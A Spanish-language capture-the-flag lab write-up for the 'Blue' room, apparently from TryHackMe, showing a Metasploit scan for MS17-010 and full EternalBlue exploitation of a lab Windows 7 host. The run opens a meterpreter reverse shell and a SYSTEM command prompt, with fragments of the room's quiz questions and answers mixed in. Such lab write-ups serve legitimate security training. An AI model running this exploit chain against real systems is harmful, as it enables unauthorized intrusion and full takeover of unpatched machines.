

Blue

Descripción

Puede y aprende a qué exploit es vulnerable esta máquina. Tenga en cuenta que esta máquina no responde al ping (ICMP) y puede tardar unos minutos en arrancar. Esta sala no pretende ser un CTF de boot2root, sino una serie educativa para principiantes. Los profesionales probablemente obtendrán muy poco de esta sala más allá de la práctica básica, ya que el proceso aquí está pensado para principiantes.

Reconocimiento

Podemos ver un Windows 7 Profesional, un puerto de escritorio remoto que nos muestra la información de un dispositivo con el nombre JON-PC, podríamos probar ver si el servidor windows 7 es vulnerable a MS17-010 (EternalBlue)

msf6 > use auxiliary/scanner/smb/smb_ms17_010

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 10.10.171.164
RHOSTS => 10.10.171.164
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
```

Module options (auxiliary/scanner/smb/smb_ms17_010):

Name	Current Setting	Required	Description
CHECK_ARCH	true	no	Check for architecture on vulnerable hosts
CHECK_DOPU	true	no	Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE	false	no	Check for named pipe on vulnerable hosts
NAMED_PIPES	/usr/share/metasploit-framework/data/wordlists/named_pipes.txt	yes	List of named pipes to check
RHOSTS	10.10.171.164	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The SMB service port (TCP)
SMBDomain	.	no	The Windows domain to use for authentication
SMBPass		no	The password for the specified username
SMBUser		no	The username to authenticate as
THREADS	1	yes	The number of concurrent threads (max one per host)

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
```

```
[+] 10.10.171.164:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.171.164:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Podemos confirmar que el objetivo es vulnerable a eternalblue

Acceso inicial

Buscamos un exploit para eternalblue, en este caso usare el windows/smb/ms17_010_eternalblue, podríamos buscar otras utilizando el comando search eternalblue

use windows/smb/ms17_010_eternalblue

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > search eternalblue
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/smb/ms17_010_eternalblue	2017-03-14	average	Yes	MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1	exploit/windows/smb/ms17_010_psexec	2017-03-14	normal	Yes	MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Co
2	auxiliary/admin/smb/ms17_010_command	2017-03-14	normal	No	MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Co
3	auxiliary/scanner/smb/smb_ms17_010		normal	No	MS17-010 SMB RCE Detection
4	exploit/windows/smb/smb_doublepulsar_rce	2017-04-14	great	Yes	SMB DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index. For example `info 4`, `use 4` or `use exploit/windows/smb/smb_doublepulsar_rce`

Ahora podremos ver las especificaciones del payload, y el modulo, ponemos los valores correspondientes a nuestra maquina victima.

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The target port (TCP)
SMBDomain		no	(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass		no	(Optional) The password for the specified username
SMBUser		no	(Optional) The username to authenticate as
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET	true	yes	Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Answer the questions below

Payload options (windows/x64/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	192.168.8.128	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/.....)

Exploit target:

Id	Name
0	Automatic Target

Show options and set the one required value. What is the name of this value? (All caps for submission)

RHOSTS

View the full module info with the `info`, or `info -d` command.

Correct Answer

Correct Answer

Correct Answer

Vemos nuestra ip de atacante ip a

```
(kali㉿kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:aa:42:28 brd ff:ff:ff:ff:ff:ff
    inet 192.168.8.128/24 brd 192.168.8.255 scope global dynamic noprefixroute eth0
        valid_lft 1622sec preferred_lft 1622sec
    inet6 fe80::b6e6:8394:5fa:4bd0/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none
    inet 10.14.74.176/17 scope global tun0
        valid_lft forever preferred_lft forever
    inet6 fe80::54d8:32f3:df60:5a93/64 scope link stable-privacy proto kernel_ll
        valid_lft forever preferred_lft forever
```

Con todos los parámetros listos lanzaremos el ataque, estableciendo la ip vicitma y nuestra ip de atacante.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

  Name          Current Setting  Required  Description
  ---          -
  RHOSTS        10.10.171.164   yes       The target host(s), see https://docs.metasploit.com/docs/using
  RPORT         445             yes       The target port (TCP)
  SMBDomain      no              no        (Optional) The Windows domain to use for authentication. Only
  SMBPass        no              no        (Optional) The password for the specified username
  SMBUser        no              no        (Optional) The username to authenticate as
  VERIFY_ARCH    true            yes       Check if remote architecture matches exploit Target. Only affe
  VERIFY_TARGET  true            yes       Check if remote OS matches exploit Target. Only affects Window

Payload options (windows/x64/meterpreter/reverse_tcp):

  Name          Current Setting  Required  Description
  ---          -
  EXITFUNC      thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST         10.14.74.176    yes       The listen address (an interface may be specified)
  LPORT         4444            yes       The listen port

Exploit target:

  Id  Name
  --  ---
  0    Automatic Target
```

y lanzaremos el exploit obteniendo una sesión de meterpreter

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.14.74.176:4444
[*] 10.10.171.164:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.171.164:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.171.164:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.171.164:445 - The target is vulnerable.
[*] 10.10.171.164:445 - Connecting to target for exploitation.
[+] 10.10.171.164:445 - Connection established for exploitation.
[+] 10.10.171.164:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.171.164:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.171.164:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.171.164:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.171.164:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.171.164:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.171.164:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.171.164:445 - Sending all but last fragment of exploit packet
[*] 10.10.171.164:445 - Starting non-paged pool grooming
[+] 10.10.171.164:445 - Sending SMBv2 buffers
[+] 10.10.171.164:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.171.164:445 - Sending final SMBv2 buffers.
[*] 10.10.171.164:445 - Sending last fragment of exploit packet!
[*] 10.10.171.164:445 - Receiving response from exploit packet
[+] 10.10.171.164:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.171.164:445 - Sending egg to corrupted connection.
[*] 10.10.171.164:445 - Triggering free of corrupted buffer.
[*] Sending stage (201798 bytes) to 10.10.171.164
[*] Meterpreter session 1 opened (10.14.74.176:4444 → 10.10.171.164:49207) at 2024-03-26 14:35:17 -0400
[+] 10.10.171.164:445 - =====
[+] 10.10.171.164:445 - =====--WIN=====
[+] 10.10.171.164:445 - =====

meterpreter > shell
Process 1076 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
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C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>
```

Encontrando el usuario del sistema, y crackeando su contraseña.